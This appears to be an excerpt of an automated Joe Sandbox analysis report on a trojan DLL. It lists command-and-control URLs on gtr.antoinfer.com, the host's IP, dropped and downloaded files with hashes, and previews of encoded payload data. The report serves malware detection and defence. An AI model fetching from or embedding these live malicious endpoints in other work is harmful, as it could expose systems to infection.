http://gtr.antoinfer.com/M70Tzsw1MNAdF/xfm5A_2F/icgFe0hTlDYi8x1LZCDgadb/p8hAogRvpL/JEjshnYytb_2	rundll32.exe, 00000003.00000002.610195146.0000000002CD0000.00000002.00000001.sdmp, powershell.exe, 0000002A.00000002.609722055.00000273C7180000.00000002.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000002A.00000002.612577648.00000273C8AFF000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000002A.00000002.612577648.00000273C8AFF000.00000004.00000001.sdmp	false		high
https://contoso.com/	powershell.exe, 0000002A.00000002.622133874.00000273D895C000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 0000002A.00000002.622133874.00000273D895C000.00000004.00000001.sdmp	false		high
https://contoso.com/License	powershell.exe, 0000002A.00000002.622133874.00000273D895C000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000002A.00000002.622133874.00000273D895C000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000002A.00000002.610882160.00000273C88F1000.00000004.00000001.sdmp	false		high
http://gtr.antoinfer.com/M70Tzsw1MNAdF/xfm5A_2F/icgFe0hTlDYi8x1LZCDgadb/p8hAogRvpL/JEjshnYytb_2FaVCd	{08A52036-E342-11EB-90E4-ECF4BB862DED}.dat.32.dr	true	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000002A.00000002.612577648.00000273C8AFF000.00000004.00000001.sdmp	false		high
http://gtr.antoinfer.com/Pl9Eori10/TWROVDxUXG0e5P8cvyge/ZU2BrrTT9UbiVqqjDG4/pcVLHkjQ_2FTIEKMeI9p0c/u	{08A52034-E342-11EB-90E4-ECF4BB862DED}.dat.32.dr, ~DF5A692A62F2D75F35.TMP.32.dr	true	Avira URL Cloud: safe	unknown
http://gtr.antoinfer.com/4khtvsQ0u/_2Bibxls4V27IXxwFbLo/MVAeZiN_2BcOXrnrV8V/qJdJNxZ6Bgv5NEeycuU5RT/x	{08A52032-E342-11EB-90E4-ECF4BB862DED}.dat.32.dr, ~DFBCEA36BA3DC5EC74.TMP.32.dr	true	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
167.172.38.18	gtr.antoinfer.com	United States		14061	DIGITALOCEAN-ASNUS	true

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	447090
Start date:	12.07.2021
Start time:	11:47:07
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	lj3H69Z3Io.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	44
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal96.troj.evad.winDLL@26/21@3/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 59.1% (good quality ratio 54.1%) Quality average: 75.1% Quality standard deviation: 30.7%
HCA Information:	Successful, ratio: 87% Number of executed functions: 49 Number of non-executed functions: 86
Cookbook Comments:	Adjust boot time Enable AMSI Sleeps bigger than 120000ms are automatically reduced to 1000ms Found application associated with file extension: .dll
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, RuntimeBroker.exe, backgroundTaskHost.exe, UsoClient.exe, audiodg.exe, BackgroundTransferHost.exe, WerFault.exe, ielowutil.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe Excluded IPs from analysis (whitelisted): 104.43.193.48, 40.88.32.150, 52.147.198.201, 95.100.54.203, 23.0.174.185, 23.0.174.200, 51.103.5.159, 13.64.90.137, 104.42.151.234, 20.190.160.72, 20.190.160.74, 20.190.160.70, 20.190.160.68, 20.190.160.3, 20.190.160.135, 20.190.160.7, 20.190.160.130, 20.50.102.62, 13.88.21.125, 23.10.249.26, 23.10.249.43, 2.18.105.186, 40.112.88.60, 92.122.145.220, 20.82.210.154 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, www.tm.lg.prod.aadmsa.akadns.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, www.tm.a.prd.aadg.trafficmanager.net, e11290.dspg.akamaiedge.net, skypedataprdcoleus15.cloudapp.net, e12564.dspb.akamaiedge.net, wns.notify.trafficmanager.net, go.microsoft.com, login.live.com, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, client.wns.windows.com, skypedataprdcolwus17.cloudapp.net, fs.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, login.msa.msidentity.com, skypedataprdcolcus15.cloudapp.net, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, ams1.next.a.prd.aadg.trafficmanager.net, go.microsoft.com.edgekey.net, skypedataprdcolwus16.cloudapp.net, skypedataprdcolwus15.cloudapp.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:50:05	API Interceptor	1x Sleep call for process: rundll32.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
gtr.antoinfer.com	SecuriteInfo.com.Trojan.GenericKD.46602191.18619.dll	Get hash	malicious	Browse	165.232.183.49
	documentation_39236.xlsb	Get hash	malicious	Browse	165.232.183.49
	3a94.dll	Get hash	malicious	Browse	165.232.183.49
	3b17.dll	Get hash	malicious	Browse	165.232.183.49
	9b9dc.dll	Get hash	malicious	Browse	165.232.183.49

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DIGITALOCEAN-ASNUS	HSBC Customer Information.exe	Get hash	malicious	Browse	164.90.131.131
	HSBC Payment Advice.exe	Get hash	malicious	Browse	164.90.131.131
	2WLQOndu1r.exe	Get hash	malicious	Browse	68.183.24.16
	960LCMwXaO.exe	Get hash	malicious	Browse	68.183.24.16
	W8S3mn9suy.exe	Get hash	malicious	Browse	68.183.24.16
	d7b.dll	Get hash	malicious	Browse	139.59.150.28
	vbc.exe	Get hash	malicious	Browse	157.230.214.223
	FixKaseya.exe	Get hash	malicious	Browse	107.170.211.239
	fix.exe	Get hash	malicious	Browse	107.170.211.239
	update.exe	Get hash	malicious	Browse	107.170.211.239
	UpdateTool.exe	Get hash	malicious	Browse	107.170.211.239
	MuGnzsbhlG.exe	Get hash	malicious	Browse	157.230.214.223
	ew25132.xlsb	Get hash	malicious	Browse	134.122.57.157
	ew28031.xlsb	Get hash	malicious	Browse	134.122.57.157
	vbc.exe	Get hash	malicious	Browse	157.230.214.223
	ew28031.xlsb	Get hash	malicious	Browse	134.122.57.157
	Jhy2YPMShA.exe	Get hash	malicious	Browse	134.122.53.92
	7favAeMnIv.exe	Get hash	malicious	Browse	178.128.39.189
	NWMEaRqF7s.exe	Get hash	malicious	Browse	104.236.246.93
	Invoice-NBM01557.exe	Get hash	malicious	Browse	164.90.131.131

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportArchive\AppCrash_rundll32.exe_8e10347d3010a05cec57e2a7338104047e76f62_82810a17_01564e18\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	11846
Entropy (8bit):	3.772071022404799
Encrypted:	false
SSDEEP:	192:kVdiVp0oXmZyHVFeMjed+e/u7sPS274ItWcr:8diVHXGKVFeMjez/u7sPX4ItWcr
MD5:	B0CFB884141A504FD69F7276683ADE80
SHA1:	C2E51279B503A78990E5D4B7F3A7581F70E622C2
SHA-256:	9943D8BC3E90B60367F7E603FBD0BDDFEE0850AEDFC5F7703CFC6572D727067A
SHA-512:	33D3B2CA92000E33BEF1EFDA855542E7E8E7D54A359ECE97597B61812C985227FD1395715B04EDE6EBDF801D95D3F7FF0411307273C6C74A539E7A7A2FC3EE32
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.7.0.5.8.9.3.7.3.8.5.3.9.7.3.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.7.0.5.8.9.3.8.1.1.6.6.4.3.9.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.2.6.8.4.3.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.0.4.3.8.7.3.3.-.3.0.a.9.-.4.8.3.a.-.9.4.9.2.-.3.e.c.7.0.0.5.6.0.2.b.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.c.a.a.e.e.2.1.-.f.a.e.b.-.4.b.6.f.-.8.d.3.5.-.7.4.c.e.b.6.0.8.1.7.c.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.d.5.8.-.0.0.0.1.-.0.0.1.7.-.6.d.c.4.-.7.0.6.e.4.e.7.7.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.b.c.c.5.d.c.3.2.2.2.0.3.4.d.3.f.2.5.7.f.1.f.d.3.5.8.8.9.e.5.b.e.9.0.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2A24.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Jul 12 18:49:35 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	283102
Entropy (8bit):	1.6760534343514886
Encrypted:	false
SSDEEP:	768:pyGNk13fXySEkenTi1fzHsVjIe7wTlpPPJgfZ3vW:7C13KtkenTgzMme7CZP6vW
MD5:	DEDE528C566CFE122E79FCB95E98B453
SHA1:	CC2869181B343E931266CF8E1A81B2C5C6F82FA9
SHA-256:	D7B0FF04519A473203844F6F42A68242B979F6062ECB8C0564D446B86DFCE06F
SHA-512:	E47874F130A9D3F7849027ED38EEFFAE57A31193F71EF4A857D2CFB0A1BDC56BFBFE855B2388637ADB963D720392659CE540820C03175DDEF2A19F914769B443
Malicious:	false
Preview:	MDMP....... ..........`...................U...........B..............GenuineIntelW...........T.......X...]..`.............................0..1...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3457.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8288
Entropy (8bit):	3.693781478029124
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNidl6G9O6Y0Dc6+aJbspgmfTk8GSaCpD189bWusfBym:RrlsNif6G9O6Yuc6+aFspgmfTkrSoWt9
MD5:	00D6959DEF639E23BBDEA22D9FB541D5
SHA1:	BD6D2939AEB2166874342B5EFC7BE8B5F8E4CE5E
SHA-256:	2C8C1B5CC9E033B9B221EE3C09C00F2A1DDFD954E508EC6D88BC307E81770A5C
SHA-512:	81C79E1C74169C03FB973C10595A7017387D8C06EA7B4D5396C69B0C5AE924CE85453026E2AD7AE75445174A22336F889BBFB83BC3B2DBBAA08517C0147B1188
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.4.1.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3840.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4630
Entropy (8bit):	4.454252543056655
Encrypted:	false
SSDEEP:	48:cvIwSD8zsIJgtWI9rLWSC8BVfa8fm8M4JCdsGtF+o+q8/5jLZ4SrSO6d:uITfOQ6SN/vJg2o2LZDWHd
MD5:	D7E128A868D39411E887B16BCD73D528
SHA1:	05B20E4EDB6230463037A8FE3518323D25E6257D
SHA-256:	148FD0351A83C623452D14669E2FF0780728CE9D1A98CE5FB9BF2C44153DC2B1
SHA-512:	BB0954F39DC0C7D05588D8C431AA4C7D01F254065141811370E27B80E0D5ED5E27E7D839DB4A055F142D80FA20DBE4286081CAD254AC574DD6BBB246D7CD2A10
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1074480" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{08A52030-E342-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	71272
Entropy (8bit):	2.0430813730204638
Encrypted:	false
SSDEEP:	192:rsZr7ZR2IWptCfyFMDP5tBs8tZWsSeF+sctkLrGhTX:rsrtg/7g/DrKIZRdoSG1
MD5:	9D36509D1371B943B7E70B443AE651EE
SHA1:	F9C8FE09A4B216553CDB321153668070F5534B0A
SHA-256:	5FAFD9306875D0B2D47188D0257EEDD47DF6B07898E13F551DFECA8794F9C7CA
SHA-512:	0579BD7ADF9BF18EE6548AEEB85520033A2BC78B121126BFC836435B267901D624B1A21D6314FC3995C16CD02A0B51991B4930D84EFF19D9BFE26553FDFB1D12
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{08A52032-E342-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	28156
Entropy (8bit):	1.9209592167180383
Encrypted:	false
SSDEEP:	96:rOZV7QV6jBSkjx2xW0MYdB6T9UHlu6T9UKA:rOZV7QV6jkkjx2xW0MYdg6HlZ6KA
MD5:	08A2EC1E53466B99883D85514688AACB
SHA1:	38D21A1AEC20F820E3B5F472EFE9C1BCB52BD58C
SHA-256:	EE9732C32722F112CA06F4426E8EB53C7BF4AC64E4B41FA0853BF64B44F47650
SHA-512:	3A519FB682C5FD61EC3346C523399F8237F4040C08E6540665ED8E803D2FA0B42C83AE1F063A39E15D8FB340392C57444EBDA1E558136E654A5C41CA96B50D0D
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{08A52034-E342-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	28132
Entropy (8bit):	1.9167304906726585
Encrypted:	false
SSDEEP:	192:rMZTQT6VkqjJ2NWzM7CmqFURslbVAyqXFURslb6A:rMc2ekYkwZq2sRPqX2sR9
MD5:	14CB643A07EEDE5DD5B0D8EDCB19664D
SHA1:	EB5E2D2E77FA9064978C186BD7295E68A0AFB974
SHA-256:	CFFC724CCA28F29B67BE2B0FE03E18569820982F11A414EDDBEE3E73AADB2E4D
SHA-512:	42369ADA80CFA6EA3A26C24B02465C7C960A48DE3C51FA283566AE99477F567968AA556A294318F9A4D6E2DFF9F31A39FCDD401351EB8E7BD9ECAC7ED11EA34C
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{08A52036-E342-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	28132
Entropy (8bit):	1.9171253259160579
Encrypted:	false
SSDEEP:	96:roZTQY6WBSqjB2HGWEMoCmYBPX+QpOAyyBPX+QpgA:roZTQY6WkqjB2HGWEMoCmWOFAyMOnA
MD5:	15FB09671EA9D7BCD2032A803CAAAB7B
SHA1:	6CB1FF9F7C4769023A5382024672C0CB9C43BF4A
SHA-256:	5ACAA36620FEEEE4CDB4B2B90BEC25A09881895C9EAB90BE429D2A71CBFF2313
SHA-512:	BBD4FEEA5B1E24F6E1D10EBBC44FCB795AA65D33CB9ADC24BADB7EDC641AC690673A38857C7E2E4DA4D9BE750770EC23E194C7A05FECB5A318EAC927D9B41E92
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\6H[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	2472
Entropy (8bit):	5.982250980856711
Encrypted:	false
SSDEEP:	48:FzX8sjH5x7+2M1nCsfhzQTO0ws/egRj6MvIf7IEJNxYFo9j0XA33naMnjX:FTtjL0CSUSyeKjZIfkEJNxSC3aMjX
MD5:	8E1C6B3059991E2EE6734352372190BB
SHA1:	B594480C76884B268FA01093D5635F0C40E41092
SHA-256:	AE34168CF0BC6434C50CF68DE702A6DDBFAF505B119089486A7658D124BB001D
SHA-512:	DA2D51108B25B86E8313FD9CC215C4298311566C2716714F88049877A18302411983EFD97BBF2D0FA16949AFE289B7D14D1BA48E82C881C0F81E455C7F8D8312
Malicious:	false
IE Cache URL:	http://gtr.antoinfer.com/M70Tzsw1MNAdF/xfm5A_2F/icgFe0hTlDYi8x1LZCDgadb/p8hAogRvpL/JEjshnYytb_2FaVCd/bp1e8aV2PI_2/FY5oP4oo0f6/GeARX2_2FlA_2F/2BhurwBe_2BrsQ1B1bUK7/wilinEmmYIdaZ6lz/71Mw33QzoCtr9s9/ULFilVIFcIxUDJIsEo/crrSiFkaK/6sQSCYti3ETwug18IBlk/b94MQVqQ698rgMibrOo/RMBVkg8AFrK4uT2Dq6pO06/OdceZPFn8QQWz/SARUSfJd/dirYBJB3Uuu4IivFAYs9FmV/Pmcsy6YvBv/Lcgiqf1bUTKnYCeNL/dikDMv66Bty/6H
Preview:	Z1KokXyg7zZlFGYQXU1//s0rd/JBLvyGgtRxZgWMl1V/U2PG7QQy/BEdT8S/5Uh7rd7FFwIvjdpcXW9vybt6VTL+c1f7SjgBmFLUdLAgj3xEgL97bc5AYYmkb+l84Dy+azMWNLe4VbHb7/V25QgsAZbvYxZazxX4VnlWMQe1u8cdbn3J3zsVGoUs+pznjs6RpJ/uCwgLP78pZlsRYcVdtE8K7QRjmSKzHTkMaBPA4o3iJWuBhi2BCiXxMZ3jDmXsczFcdLiniociB+QlIj4FcaRrR3KJbvLSwe2kFND57LHE5sUAFw69HAI6ulNJmaDjYGHVgUOar2wnS/uOf5yGQemK1/ltKPyw/NJXhlPT5lelZDgK2RfRkkcflVT3+4qMvuiI70LeZrTKiFve6da8eCbOVrOHYKtak2Y5LPY5lC92GaU41ghuCGhbey3ko3KlUmpN5wEoIxclS1B1BO5CgBeLzvsvIBrmFQftuKJrYIUlqcRAiinLO1mkka6FvBSrE4NoNNih7FU3+BXYr67Dy2rozMu4gs3E7TdFpY5vYfHfDlToQj4HPWNxir27HgmOAjgMhDyMwNtyAYO/lJn0LxCQpo9Gr6auuMo5vL2kKcC0jIAKr6dgzpbisVPVor+pAFvZuZba5Aoc1gcrTIeQW2moS3aji421HODF4SqvuZXo6yyNNONXdcG/SfOPkzgludBolV8S0j7sbdImG1cKKrhkEau10uMHajX16JlnlFxOjCyfubC7xvqvS4YbssN4Z8tle1U1qwvXbItoKyZvux949sg9bXLGG5yNNeedq0vJk9oCDybFOWkolPUOM8cKbEjJABBellk9653h60VrU+/rRJXQg7l7kPA9z83gQOWhbnPmCV6g4IAH4TGecSWjeQZlysLzET7EaLl0+aPFvX/6y+SHUt7KOaX8dU7U4tEuLNLdQGYmwwExO+ky/umQVCZM5hMFaU+8vC7Hvzuj/bq5yZcHxjCtHmrIHG2l

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\a[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	328568
Entropy (8bit):	5.99992433206317
Encrypted:	false
SSDEEP:	6144:vqe6UKr8LFlthaPmlS35k2kvxzJ5Zkrbnj8fYgx28tGoi881fzWzed1mzzR:CxNr85h2zpk2kvxBAnj8fYy7tlqfzv4t
MD5:	B7D8DD06E95C26878DDED89BC8B1C351
SHA1:	ABE87B3BBF15879B24295878FCD47FEAFA79522E
SHA-256:	A9A5A7D23082BFFDBD2C5C6A5D4F51CA7831E24A265C7AC403B3A61E92156B80
SHA-512:	D7867439E7923E9606F3E18C6F6DCABB32E2F43C0CA88D7DBD072C9BA08BBECB99D833E05EE9C2A0059E90C39B13D078C4D359C9379EEB30B7116AC54E92D38E
Malicious:	false
IE Cache URL:	http://gtr.antoinfer.com/Pl9Eori10/TWROVDxUXG0e5P8cvyge/ZU2BrrTT9UbiVqqjDG4/pcVLHkjQ_2FTIEKMeI9p0c/uvvfHn2PMXNEy/YMBxD3SD/aXgaxQm1VvX_2F13h2xPwK_/2Be7i5l50E/A7ENFq4ZupT65ephY/chqySvAke9ce/Kevf8ZZImEj/1Va42IfLQ3XJd9/R1lLLjkYwIWCsGvDlqysG/bJCIxC_2Ba_2FKBG/1sCib9KWGT9006o/pVIAR6x7f8e8pX6JMX/r5dwKRidW/K11bWM2mJHwpxkeOpFZf/WuqCfL3c8woO2jHlv7x/oi4kjIDfCy176FSPyJZhM9/EN_2FkQv43sxx/a
Preview:	vYSzTE0LdssuqAadjXV2f21toZiXu7vuhsMdrnGPjAxtX2kFNyYWrc5XZ+IN1TX/7eKVdHh1aDGazEV5J3x32OTJXw/wH0Un1+wZBvJadB3JB1Ymk8L1KsakKyhbueQm2X+t2tJO34Sfj2UBlgYMyf3AHBwfdt6n6mkMKaW+xWCNqc7fwOqmkMkjTGWmgTv+P2SdAejDP4jS3CozIdAjJ7KhyFHRtSwYaBr3qSFaA5n2CLLIPOwVYOgMHSnR31TXYKNQnyP6ZIlg/qYyfmrGJZuciVsKAahcfr2iLkr14W7jkLzDwUyjDZlIsU0RBzOyuHzjos7Kk8H8EJrn8fDFXdPZiIDRCKjQ0JLVshDpxF20Pft8+ewyuX7mWs+AX9U2RA7Eq95hYPZt3EQhNqUDRCBZHOUmRID3e/4Bz7+9hs1kvEfk5wQJgtaczzIcdeC75KkdxbKQ6vbNuwPg3SgQdZdT/OzZQbgKsqqGcJ9Qv3zQGS7PTtowZjyzZ1URPeQVMr7p0bMgV3a4V9wK6U0urdRBe1nh5zJWIGf0ICbgWoLbm4Y5VXVbtju2MRnlmfqGKhmM6dXaI4DrNjq3bEqaYiEydHw4mipiHSIcd3gV4p4A962Vg23YVACKOVYVbUqKnbwpfrqHejHtUA+0fV+EIlVAz4d8UinaHY6pvPTdiB75RwZSZQq0vAIUCE0xAcZkJifCh/QtlmWxOE360Ao5N8/omTH3q3ps9LpTOIa49QCgybE4KK7xBHAO3hy1/ogqM37Kxo2oYNbU8G6LzrMGOwio1tk5QABva7SGLQkSw7X9rGairY4APa9Y/mP0yaipQBIuqDLS3a0pVwq0Jegfp9x8Q0RvtKAcvJSYrAAy+yHlGBovy4jrYBw4qrwGV8biCB9McEg5uE9GeD0gwSfza/H4dhJ683b14AvjRiXTannOxUf5JLONlUDlG24RHnlw23wrdcMw3SoVboDd0hfzNEuYQt7OZvK7glPZ4RMj

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\SgPLk[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	258252
Entropy (8bit):	5.999862423730958
Encrypted:	false
SSDEEP:	6144:63yTsQRRxJuptv7lwrMK1OB/pBavL9InWGR6nr0Bn/+pd:4mJz2pt7S4/pAvh88r0J+pd
MD5:	A7136BB6A6F409A7201BAC5E8F767497
SHA1:	B4FF2BE05450D481F423E57DB2EC58CF38D5AD64
SHA-256:	148AECDD4400AD290369FE9028D272C1BB96B6173B1489910C1E3472BB4089ED
SHA-512:	16D65E2CE3C9F55D12B91126ED848070D51F85E8F1D7BBD85126632257994E94A49BB2AF5AE7C91DEF5C8ABD703A8071375A7041EADE07733AA95336B45DBA41
Malicious:	false
